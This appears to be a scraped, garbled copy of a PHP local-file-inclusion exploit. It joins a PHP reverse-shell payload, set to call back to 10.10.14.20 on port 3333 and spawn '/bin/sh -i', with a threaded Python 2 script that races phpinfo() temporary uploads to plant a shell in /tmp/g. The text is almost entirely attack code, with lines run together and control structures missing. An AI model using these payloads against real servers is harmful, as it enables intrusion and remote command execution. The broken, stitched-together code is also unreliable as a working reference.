Valueerror(no php tmp_name in phpinfo output)
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf $ip = '10.10.14.20'; // CHANGE THIS $port = 3333; //CHANGE THIS $shell = 'uname -a; w; id; /bin/sh -i'; // Daemonise ourself if possible to avoid zombies later // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit printit("ERROR: Can't fork"); // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); printit("WARNING: Failed to daemonise. This is quite common and not fatal."); // Change to a safe directory // Remove any umask we inherited // Do the reverse shell... // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); printit("$errstr ($errno)"); 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); // Check for end of TCP connection printit("ERROR: Shell connection terminated"); // Check for end of STDOUT printit("ERROR: Shell process terminated"); // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r -----------------------------7dbff1ded0714--\r""" % PAYLOAD REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """+padding+"""\r HTTP_ACCEPT_LANGUAGE: """+padding+"""\r HTTP_PRAGMA: """+padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r %s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /browse.php?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) i = d.index("[tmp_name] =>") s2.send(lfireq % (fn, host)) class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) while not self.event.is_set(): if counter >= self.maxattempts: x = phpInfoLFI(*self.args) print "\nGot it! Shell created in /tmp/g" def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if i.endswith("0\r\n\r\n"): i = d.find("[tmp_name] =>") raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i+10],i) print "LFI With PHPInfo()" print "Usage: %s host [port] [threads]" % sys.argv[0] host = socket.gethostbyname(sys.argv[1]) print "Error with hostname %s: %s" % (sys.argv[1], e) print "Error with port %d: %s" % (sys.argv[2], e) poolsz = int(sys.argv[3]) print "Error with poolsz %d: %s" % (sys.argv[3], e) print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) print "Spawning worker pool (%d)..." % poolsz for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) if counter >= maxattempts: except KeyboardInterrupt: print "\nTelling threads to shutdown..." print "Don't forget to modify the LFI URL" |